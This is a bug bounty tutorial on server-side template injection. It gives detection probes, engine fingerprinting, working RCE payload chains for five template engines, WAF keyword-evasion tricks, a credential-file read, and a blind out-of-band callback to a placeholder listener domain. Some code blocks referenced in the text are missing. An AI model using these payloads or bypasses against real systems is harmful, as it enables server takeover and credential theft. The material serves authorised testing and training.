Part of the Bug Bounty Course — 60 Days
I was testing a contact form — the kind that every target has and every hunter ignores. Name field, email field, message box. I dropped {{7*7}} into the name field and hit send. The confirmation email came back: “Hello 49, your message has been received.”
That’s it. That one three-character arithmetic expression just handed me a Critical-severity vulnerability on a program that pays up to $20,000 for RCE. The server wasn’t reflecting my input — it was evaluating it. The template engine was executing my code before the email got rendered. From that confirmation, I had a clear path to full Remote Code Execution on the application server.
SSTI bug bounty vulnerabilities are some of the most underreported Critical findings in the game right now. Most hunters see an injection point, throw an XSS payload, get nothing, and move on. They don’t know to probe for template syntax. They don’t know the engine-specific payload chains. They’re leaving $5,000–$30,000+ reports sitting in fields they already found.
Today I’m changing that. I’ll walk you through exactly how I detect SSTI on live programs, how I fingerprint the template engine from response deltas, and how I build the RCE chain for all five engines you’ll encounter in real bug bounty targets — Jinja2, Twig, Freemarker, Pebble, and Velocity. By the end of this, you’ll be filing Critical SSTI reports that most hunters never even notice.
🎯 What You’ll Master in Day 26
⏱️ ~3 hours · 3 exercises
📋 Prerequisites
- Completed Day 25 — Host Header Injection Bug Bounty — you understand how server-side request manipulation works
- Completed Day 24 — CRLF Injection Bug Bounty — familiarity with injection-class vulnerability structure
- Burp Suite Community or Pro — Repeater tab open and working. You’ll need it for Exercises 2 and 3.
- A free PortSwigger Web Security Academy account — Exercise 2 uses their SSTI labs directly
SSTI Bug Bounty 2026 — Contents
- What SSTI Is and Why It Consistently Pays Critical on Bug Bounty Programs
- SSTI Detection and Engine Fingerprinting — The Payload Decision Tree
- SSTI Exploitation Chains — RCE Payloads for Jinja2, Twig, Freemarker, Pebble, and Velocity
- Writing a Critical-Severity SSTI Bug Bounty Report
- WAF Bypass and Escalation Techniques for SSTI Payloads
- Frequently Asked Questions
You knocked out Day 25 — Host Header Injection and Day 24 — CRLF Injection — two server-side manipulation techniques that operate at the HTTP layer. Today we go deeper. SSTI sits at the top of the injection severity ladder because it doesn’t just manipulate headers or redirect flows — it executes arbitrary code inside the server process. If you want to round out your toolkit before diving in, check out the free SecurityElites tools suite for recon support on your targets. Everything we cover today spans both detection methodology and engine-specific exploitation — because finding SSTI without knowing how to prove RCE leaves money on the table. The full curriculum lives at the Bug Bounty Course hub.
What SSTI Is and Why It Consistently Pays Critical on Bug Bounty Programs
Here’s what’s actually happening when a template engine runs. The application has a template — an HTML file with placeholder expressions like {{username}} or ${order.total}. At runtime, the engine takes the template, resolves those expressions against a data context, and renders the final output. The problem starts when the application constructs that template dynamically using user input — instead of passing your name as a value into a fixed placeholder, it drops your raw input directly into the template string before evaluation.
When that happens, the engine doesn’t see your input as data. It sees it as template code. And it executes it.
Think about the difference between these two approaches. Safe: render("Hello {{name}}", {name: userInput}) — the input goes into the data context, never into the template itself. Vulnerable: render("Hello " + userInput) — the input is concatenated into the template string, so if you send {{7*7}}, the engine evaluates it.
This isn’t an obscure mistake. It shows up constantly in name fields that get rendered into emails, in error messages that echo back what you submitted, in PDF generators that build reports from user-supplied content, in notification systems, in search result pages that include your query in the heading, and in admin dashboards that preview user-submitted data. Anywhere the application uses a template to display your input, and anywhere a developer got lazy with string concatenation instead of proper context separation, SSTI is possible.
The Three-Level Severity Ladder
Not every SSTI injection reaches RCE. The impact depends on what the engine exposes and what the application’s sandbox configuration looks like. I think about SSTI in three tiers.
Tier 1 — Reflected output. Your input appears in the response but nothing is evaluated. The template engine is present but input is being passed as data correctly. This is Low severity — you’ve found a potential injection point but it’s not currently vulnerable to execution.
Tier 2 — Arithmetic evaluation. {{7*7}} returns 49. The engine is evaluating your expressions. This alone is Medium severity — you can access template context variables, potentially leak configuration data, environment variables, and session state. On a well-configured sandbox this might be as far as you get, but the arithmetic confirmation alone is a reportable finding on most programs.
Tier 3 — Object traversal to RCE. You walk the engine’s object model — through class hierarchies, module references, or utility classes — until you reach something that can execute OS commands. This is Critical severity, CVSS scores in the 9.0–9.8 range, and this is where the $5K–$30K payouts live.
What Programs Actually Pay for SSTI
From publicly disclosed HackerOne reports I’ve studied: Tier 3 SSTI with confirmed RCE on production scope consistently lands in the Critical payout bracket. I’ve seen $5,000 on mid-tier SaaS programs, $15,000–$22,000 on financial services and enterprise software programs, and $30,000+ on the larger tech company programs with expanded scope. Even Tier 2 SSTI — arithmetic evaluation without a full RCE chain — often qualifies for High severity ($1,000–$5,000) because the engine access alone can leak configuration secrets.
The reason these reports are so valuable is the combination of severity and rarity. Most hunters don’t probe for template syntax. They test for XSS, SQLi, IDOR — the standard checklist. SSTI requires knowing that template engines exist and behave differently from direct output reflection. That knowledge gap is exactly why the payouts stay high.
SSTI Detection and Engine Fingerprinting — The Payload Decision Tree
Every SSTI engagement I run starts the same way — and it’s never with an RCE payload. That’s the mistake. You send a Jinja2 payload to a Twig application and you get nothing back except a confused error log and a possibly triggered WAF rule. The detection phase has one job: confirm that user input reaches the template evaluation context. The fingerprinting phase has one job: identify which engine is evaluating it. Only then do you build the exploitation chain.
Step 1 — The Polyglot Probe
My first injection is always the polyglot detection string. This single payload includes syntax fragments from multiple template engines simultaneously:
Watch the response carefully. Three outcomes matter:
- Server error (500 / stack trace): The input reached the template context and broke parsing. Something is being evaluated. This is a strong SSTI signal — now move to arithmetic probes.
- Verbatim reflection: The string appears in the response unchanged. The input is being treated as data and output-encoded. Either not vulnerable, or the output context is escaping your payload.
- Partial rendering / garbled output: Part of the string was consumed by the engine. Strong SSTI signal — one or more syntax elements were interpreted.
Step 2 — Arithmetic Confirmation Probes
If the polyglot triggered any abnormal response, send four arithmetic probes — one per major syntax family. The logic is simple: if the engine evaluates your expression, a multiplication operation returns a number you didn’t send.
When one of these returns 49 in the response — in the page body, in an email, in a PDF, in a JSON field — you’ve confirmed SSTI. Document the exact request and response before you go any further.
Step 3 — Engine Fingerprinting Decision Tree
Knowing that SSTI exists isn’t enough. The RCE chain is completely different per engine. Send these differentiating payloads — the response tells you exactly which engine you’re dealing with.
Here’s the full engine identification table. Match your response pattern to the engine, then go straight to the corresponding exploitation section below.
🛠️ EXERCISE 1 — BROWSER (20 MIN · NO INSTALL)
This is the detection phase. You’re going to practice the polyglot → arithmetic → fingerprint sequence manually, using your browser and Burp Suite Proxy (or just your browser’s network tools). Work through these steps in exact order — the fingerprint decision in Step 4 depends entirely on what you find in Step 3.
- Step 1 — Find a PortSwigger practice target. Go to portswigger.net/web-security/server-side-template-injection and open the first lab: “Basic server-side template injection.” Copy the lab URL into your browser.
- Step 2 — Locate the injection point. Look at the “Message” parameter in the URL. This is where your probe goes. Notice the application is reflecting content from that parameter into the page — that’s the pattern that signals a potential template context.
- Step 3 — Send the polyglot probe. Replace the message parameter value with
${{<%[%'"}}%(URL-encode it if needed). Observe the response — does the page error? Does it reflect the full string? Note exactly what changed. - Step 4 — Send the arithmetic probe. Replace the value with
{{7*7}}. Check the rendered page — if you see49anywhere in the output, SSTI is confirmed. Screenshot this request and response immediately. - Step 5 — Run the differentiator. Send
{{7*'7'}}. Does it return49or7777777? Map your answer to the fingerprinting table above and identify the engine. - Step 6 — Repeat on the GHDB. Open Google and search:
site:*.com inurl:"/?message=" "Tornado" OR "Flask" OR "Jinja". You’re looking for applications that expose template error messages or debug output in URLs. Do NOT inject — observation only. Note which sites expose template engine identifiers in their error responses.
✅ What you just learned: You ran the complete SSTI detection sequence — polyglot probe to arithmetic confirmation to engine fingerprinting — the same flow I use on every live engagement. You now know exactly which response to look for at each step, and you’ve mapped a real confirmed SSTI to its engine identity. That fingerprint is what determines which exploitation chain you build next.
📸 Screenshot your confirmed 49 response from Step 4 and share it in #bug-bounty-day-26 on Discord. Caption it with the engine you identified and the syntax that confirmed it.
SSTI Exploitation Chains — RCE Payloads for Jinja2, Twig, Freemarker, Pebble, and Velocity
Engine confirmed. Now you build the chain. Each of these five engines has a different route from the template context to OS command execution — different object models, different class hierarchies, different utility classes. I’ll give you the exact payload for each one, the traversal logic that explains why it works, and what output to look for that proves RCE. Use id as your command — it’s safe, produces a unique output, and immediately shows you the process user in your report evidence.
Jinja2 — Python / Flask / Django Applications
Jinja2 is the engine you’ll hit most often in bug bounty. Flask uses it by default. Django has Jinja2 as an optional backend. Any Python web framework that doesn’t use a proprietary templating system is likely running Jinja2. The attack chain reaches OS execution through Python’s Method Resolution Order (MRO) — walking up the class hierarchy from any object in the template context to Python’s built-in modules where os lives.
id returns the process user, swap in cat /etc/passwd, env (leaks API keys and DB credentials), and ls /var/www/ to enumerate the application root. For the report, you want to show at minimum three distinct command outputs — id, env, and one file read. That demonstrates full server access and maximises your CVSS score.Twig — PHP / Symfony Applications
Twig is the default template engine for Symfony — which means any PHP application built on Symfony is a Twig target. Drupal, eZ Platform, and a large number of enterprise PHP applications run Twig. The exploitation chain uses Twig’s _self global variable to access the environment object, then chains to a custom filter or the exec functionality exposed through Twig’s extension mechanism.
registerUndefinedFilterCallback vector in sandboxed mode — but many production Symfony deployments still run Twig 2.x or have sandbox mode disabled. If the primary chain fails, try the map('system') filter chain as the fallback. For your report, document which Twig version was confirmed and whether sandbox mode was active — this matters for the remediation recommendation.Freemarker — Java Enterprise Applications
Freemarker runs inside Java enterprise stacks — you’ll find it in older Java EE applications, in reporting tools, in CMS platforms like Alfresco and Magnolia, and in Java-based template rendering microservices. The direct RCE path uses Freemarker’s built-in freemarker.template.utility.Execute class, which provides a exec() method designed for template-callable OS execution.
${"freemarker.template.utility.Execute"?new()("cat /opt/app/config/database.properties")} to pull database credentials directly. Java application configs almost always contain plaintext credentials in properties files — this is the impact multiplier that justifies Critical severity even if the environment is containerised.Pebble — Java Web Frameworks
Pebble is a Java template engine modelled closely after Twig — which means if you’ve found a Java application with Twig-like syntax that returns Java-style errors on broken payloads, Pebble is likely. It’s used in Spring Boot applications, Jooby, and various Java microservices. The RCE chain traverses the Java class loader to reach Runtime.exec().
exec overload. If the chain doesn’t work immediately, use a tool like PayloadsAllTheThings SSTI section to enumerate alternative Pebble chains. Document your full methodology in the report — the complexity of the exploit chain actually strengthens your argument for Critical severity.Velocity — Java CMS and Reporting Tools
Apache Velocity is old but it’s everywhere in enterprise Java environments — Atlassian Confluence, JIRA, Liferay, and a large number of Java-based email template and reporting systems use it. It’s one of the highest-value SSTI targets you’ll find on bug bounty programs because these are enterprise products with large bounty budgets. The RCE chain uses Velocity’s ClassTool or the direct Runtime reference available in certain configurations.
⚡ Quick Check — Engine Identification
You send {{7*'7'}} to an injection point. The response body contains 7777777. Which engine are you dealing with?
WAF Bypass Techniques and Blind SSTI — When the Response Gives You Nothing
Most targets you hit on a real bug bounty program are not running naked Jinja2 with no defences. They have a WAF in front, or they render the template on a background worker and never echo the result back to you. These are the two scenarios that separate hunters who get paid from hunters who give up and move on.
Part 1 — Getting Past WAF Keyword Filters
WAFs targeting SSTI usually block on keyword matching — they look for __class__, __mro__, __subclasses__, config, and common payload fragments. The fix is straightforward: stop spelling those strings in plaintext.
URL encoding. Some WAFs inspect the decoded payload; others inspect the raw request. Try percent-encoding individual characters inside the template expression. %5f%5fclass%5f%5f passes WAFs that only decode once before matching.
Unicode normalization. Send Unicode fullwidth characters that the application server normalises to ASCII before template evaluation. The WAF sees gibberish; the template engine sees __class__.
String concatenation to reconstruct blocked keywords. In Jinja2 you can build the attribute name as a string and use |attr() to access it dynamically. Instead of .__class__, write |attr("__cla"+"ss__"). The WAF never sees the full keyword. In Twig, string concatenation with ~ achieves the same result.
Attribute access via bracket notation. Replace dot notation with bracket notation where the engine supports it. request['__class__'] bypasses WAF signatures tuned to request.__class__.
Payload splitting across parameters. If the application assembles a template from multiple input fields, split your payload chain across them. Field A provides the object traversal; field B provides the method call. Neither field alone triggers the WAF signature.
Part 2 — Confirming Blind SSTI When Output is Never Reflected
Blind SSTI is the scenario where template evaluation happens — you can confirm that mathematically — but the result never appears in the HTTP response. PDF generators, email renderers, background report jobs. The output goes somewhere you can’t see. Here’s how I confirm execution anyway.
Time-based confirmation. Inject a sleep payload and measure response latency. In Jinja2: {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('time').sleep(5)}}. A five-second delay is your confirmation. Not elegant, but it’s reliable and it doesn’t generate external traffic — useful when scope restrictions are tight.
Out-of-band DNS/HTTP callbacks. This is the technique that produces unambiguous evidence for your report. Set up a Burp Collaborator payload URL or an interactsh listener. Inject a payload that forces the server to make a DNS lookup or HTTP request to your callback domain. When your listener receives the ping, you have proof of server-side execution with your payload — and you have a timestamp, source IP, and full request log to drop straight into the PoC section of your report.
Jinja2 blind OOB example using urllib:
File-write confirmation. When outbound traffic is blocked but you have filesystem write access via the RCE chain, write a known string to a predictable web-accessible path. Then fetch that path in a second request. If your string is there, execution is confirmed. This is slower but works in air-gapped environments where DNS callbacks never leave the network.
2026-04-21 14:32:07 UTC
2026-04-21 14:32:08 UTC
🌐 EXERCISE 2 — PORTSWIGGER WEB SECURITY ACADEMY (30 MIN)
PortSwigger’s SSTI labs are the closest thing to a real target without risking a program ban — work through the blind SSTI lab exactly as I’ve described it so the out-of-band technique clicks before you need it live.
- Step 1. Navigate to portswigger.net/web-security/server-side-template-injection and open the lab index.
- Step 2. Launch the Basic SSTI lab. Identify the vulnerable parameter — inject
{{7*7}}and confirm arithmetic evaluation in the response. - Step 3. Progress to the SSTI with information disclosure via user-supplied objects lab. Use the fingerprinting payloads from the decision tree to confirm which engine is running before you touch an RCE payload.
- Step 4. Complete the Freemarker RCE lab. Use the
freemarker.template.utility.Executeclass chain — the exact same pattern I walked through in Section 3. Map what you’re doing in the lab to the engine table so it sticks. - Step 5. Attempt the blind SSTI lab. Set up Burp Collaborator, craft the DNS callback payload for the engine the lab is running, and confirm execution from the Collaborator polling panel. Stop if you don’t see a callback — check your payload index and retry before moving on.
✅ What you just learned: Three distinct SSTI exploitation patterns — basic reflection, class traversal RCE, and blind out-of-band confirmation. These three patterns cover 90% of SSTI findings you will encounter on real programs. The lab gives you clean, documented repetition before your first live submission.
📸 Share your Collaborator callback screenshot in #portswigger-wins on Discord. Show the interaction log with the target IP and the timestamp — that format is exactly what goes in a live report.
Writing a Critical SSTI Bug Bounty Report That Gets Paid
Finding SSTI is worth nothing if the triage team closes it as Informational because your report doesn’t make the impact obvious. I have seen hunters pop RCE on a Fortune 500 application and walk away with $500 because they submitted “template injection found, see screenshot.” Here is the report structure I use for every SSTI submission.
Report Structure That Triage Teams Respect
Vulnerability title. Format: [Engine] Server-Side Template Injection in [Parameter/Endpoint] — Unauthenticated RCE. Put the engine in the title. Put “RCE” in the title. Triage teams triage by title first. If your title says “template injection” and the next hunter’s says “Jinja2 SSTI to Remote Code Execution — id confirms uid=0,” the other report gets escalated first.
CVSS score justification. SSTI with confirmed RCE is always Critical — CVSS 9.8 minimum. The justification is: Attack Vector Network, Attack Complexity Low, Privileges Required None, User Interaction None, Scope Changed, Confidentiality/Integrity/Availability all High. If the program disputes this, your RCE output showing uid=0 or file read of /etc/passwd is your counter-evidence.
Reproduction steps. Number every step. Include exact HTTP request and response pairs from Burp Repeater. Redact the RCE payload in the title and summary — show it fully in the Technical Details section so triage can reproduce it safely without accidentally triggering it in a preview pane.
Impact narrative. Don’t make triage infer the impact. Write it explicitly: full OS command execution as the application service account, ability to read application source code and environment variables including database credentials, SSRF pivot to internal services, potential for lateral movement to adjacent systems on the same network segment, data exfiltration of all data accessible to the application process. One sentence per impact vector. Make it impossible to miscategorise.
Remediation section. Three recommendations: (1) Implement sandbox rendering — use template engine sandbox modes where available (Jinja2 sandbox environment, Twig sandbox policy). (2) Never concatenate user input directly into template strings — treat template content as code, not data. (3) Disable or restrict access to dangerous template features (object introspection, class traversal) at the engine configuration level.
Handling triage rejections. The most common rejection is “we consider template injection to be low impact in this context.” Your counter is one message: attach the Burp Repeater screenshot showing os.popen('id').read() returning the server’s UID. Ask them to confirm that OS command execution as their application service account is low impact. You will not hear that response again.
⚡ EXERCISE 3 — KALI TERMINAL (40 MIN)
This is where detection becomes documentation — you are running the full chain on a local Flask app and capturing every step exactly as you would for a live program submission.
- Step 1. Spin up a local vulnerable Flask/Jinja2 app using the command block below. This gives you a clean authorised target with no WAF and no rate limiting — perfect for documenting the full chain.
- Step 2. Open Burp Suite Repeater. Send a GET request to
http://127.0.0.1:5001/?name={{7*7}}. Confirm the response body containsHello 49. This is your arithmetic confirmation — screenshot this for your PoC. - Step 3. Run the MRO chain payload below in Repeater to enumerate Python subclasses and identify the subprocess index.
- Step 4. Execute the OS command RCE payload using the Popen index you identified. Run
idfirst, thenwhoami.
- Step 5. In Burp Repeater, use Ctrl+S to save the request/response for each step — arithmetic confirmation, class enumeration, and RCE output. These three screenshots are your complete PoC evidence set.
- Step 6. Draft the Critical SSTI report using the template block from Section 5 above. Fill in the exact parameter name, the confirmed RCE output, and your remediation recommendations. This is a submission-ready PoC document.
✅ What you just learned: The complete SSTI-to-RCE chain documented at report quality — arithmetic confirmation, class enumeration, OS command execution, and PoC capture. Every step maps directly to a section in the Critical report template. That is what a $10,000+ SSTI submission looks like before it gets sent.
📸 Share your Burp Repeater RCE screenshot in #kali-terminal-wins on Discord. Show the request with the Jinja2 payload and the response with your UID output — that is the exact format triage teams expect.
SSTI is one of the highest-impact vulnerability classes in the bug bounty ecosystem precisely because most developers don’t think about template strings the way they think about SQL queries. The pattern — user input flows into a template context, engine evaluates it, server executes it — is baked into dozens of frameworks that teams deploy without reading the security documentation. Your job is to find those deployments before someone with malicious intent does. For everything else in the methodology — from subdomain recon through to report submission — the Bug Bounty Course has every step in sequence.
📋 SSTI Payloads and Commands — Day 26 Reference Card
${{7*7}}#{7*7}{{7*7}} — inject all three, compare outputs{{7*7}} → 49 | {{7*'7'}} → 7777777 (Twig){{7*'7'}} → 7777777 | {{_self.env.registerUndefinedFilterCallback("id")}}${7*7} → 49 | RCE: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}{{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],stdout=-1).communicate()[0]}}{{_self.env.registerUndefinedFilterCallback("system")}}{{"id"|system}}{% set rt = "".class.forName("java.lang.Runtime") %}{{ rt.exec("id") }}#set($rt = "".class.forName("java.lang.Runtime"))#set($e=$rt.exec("id"))time.sleep(5) via MRO chain — measure response latencyurllib.request.urlopen('http://YOUR.COLLABORATOR.DOMAIN/x') via MRO chain|attr("__cla"+"ss__") instead of .__class__%5f%5fclass%5f%5frequest['__class__'] instead of request.__class__You’ve finished the SSTI module — detection, engine fingerprinting, five RCE chains, WAF bypass, blind confirmation, and a submission-ready Critical report template. Day 27 takes you into BloodHound — the Active Directory attack path mapper that turns a foothold into domain admin.
SSTI Bug Bounty — Frequently Asked Questions
What is SSTI and how is it different from XSS?
Server-Side Template Injection happens when user input is evaluated by a template engine running on the server — not in the browser. XSS executes your payload in the victim’s browser, which limits you to session theft, DOM manipulation, and phishing. SSTI executes your payload on the server itself, which means you can run OS commands, read files, and exfiltrate data directly from the application host. The severity ceiling is completely different. XSS tops out at account takeover in most programs. SSTI reaches full Remote Code Execution. A well-documented SSTI-to-RCE finding typically pays 10x a comparable XSS finding on the same program.
Which template engines are most commonly found in bug bounty programs?
Jinja2 (Python/Flask/Django) is the most common finding I see on modern web applications and API backends. Twig (PHP/Symfony/Laravel) is close behind because of how widely PHP frameworks are deployed. Freemarker and Velocity appear frequently on Java enterprise applications — older fintech platforms, insurance portals, and internal tooling that hasn’t been modernised. Pebble is rarer but appears on Spring Boot applications. The practical distribution for bug bounty hunters is roughly: Jinja2 40%, Twig 30%, Freemarker 15%, Velocity 10%, Pebble 5%. Learn Jinja2 and Twig deeply first — they cover most of your live findings.
How do I confirm SSTI without triggering a WAF?
Start with the arithmetic polyglot — it uses no blocked keywords, only numbers and basic syntax characters. {{7*7}}, ${7*7}, and #{7*7} are benign-looking enough that most WAF rulesets don’t block them. If arithmetic evaluation confirms SSTI and you hit WAF blocks on keyword payloads, switch to string concatenation to reconstruct blocked attribute names: |attr("__cla"+"ss__") in Jinja2. Use bracket notation instead of dot notation. URL-encode individual underscores. The goal at the WAF bypass phase is to never send a full blacklisted keyword in plaintext — reassemble it on the server side after the WAF has already passed the request.
Is SSTI always Critical severity in bug bounty programs?
SSTI with confirmed RCE is always Critical — full stop. CVSS 9.8 is defensible and I have never had a triage team sustain a lower severity rating against a Burp Repeater screenshot showing OS command output. Where programs sometimes push back is on SSTI without confirmed RCE — for example, SSTI limited to information disclosure (reading environment variables, config values). That’s typically High, not Critical. If you can confirm the full chain from arithmetic evaluation through to OS command execution, you have a Critical. If you can only confirm information disclosure via template evaluation, argue for High and include a note that RCE is likely achievable with further research time.
What’s the fastest way to go from SSTI to RCE in Jinja2?
Confirm arithmetic evaluation first with {{7*7}}. Then dump the subclass list: {{''.__class__.__mro__[1].__subclasses__()}}. Search the response for subprocess.Popen — note its index position in the list. Then call Popen directly: {{''.__class__.__mro__[1].__subclasses__()[INDEX](['id'],stdout=-1,stderr=-1).communicate()[0]}}. That is the minimum chain. Three steps, three payloads. The only variable is the Popen index, which changes between Python versions and environments. The INDEX discovery step is the only one that requires any iteration — everything else is deterministic once you’ve confirmed Jinja2.
How should I handle SSTI on a target with no visible output (blind)?
Two techniques, in order of preference. First, time-based: inject a sleep payload and measure whether the response is delayed by the exact number of seconds you specified. A consistent five-second delay on sleep(5) but not on sleep(0) is statistically meaningful confirmation. Second, out-of-band: inject a payload that forces the server to make a DNS lookup or HTTP request to your Burp Collaborator or interactsh domain. When your listener receives the callback, you have timestamp-stamped, IP-verified proof of execution. The OOB method produces stronger evidence for your report — include the Collaborator interaction log as a screenshot. Only use OOB on fully authorised targets; the DNS request logs on the target server and is traceable.
Further Reading
- Day 25: Host Header Injection Bug Bounty — The injection technique that precedes SSTI in the course sequence — HTTP Host header manipulation for cache poisoning and SSRF.
- Day 24: CRLF Injection Bug Bounty — Carriage return line feed injection for header smuggling and response splitting — essential methodology context.
- Free Bug Bounty Recon Tools — Every tool in the SecurityElites arsenal: port scanner, DNS lookup, WHOIS, and more — free, no login required.
- PortSwigger: Server-Side Template Injection Research — The definitive SSTI reference from the Burp Suite team — methodology, payloads, and lab environments.
- OWASP WSTG: Testing for Server-Side Template Injection — OWASP’s formal testing methodology for SSTI — useful for structuring report remediation sections.
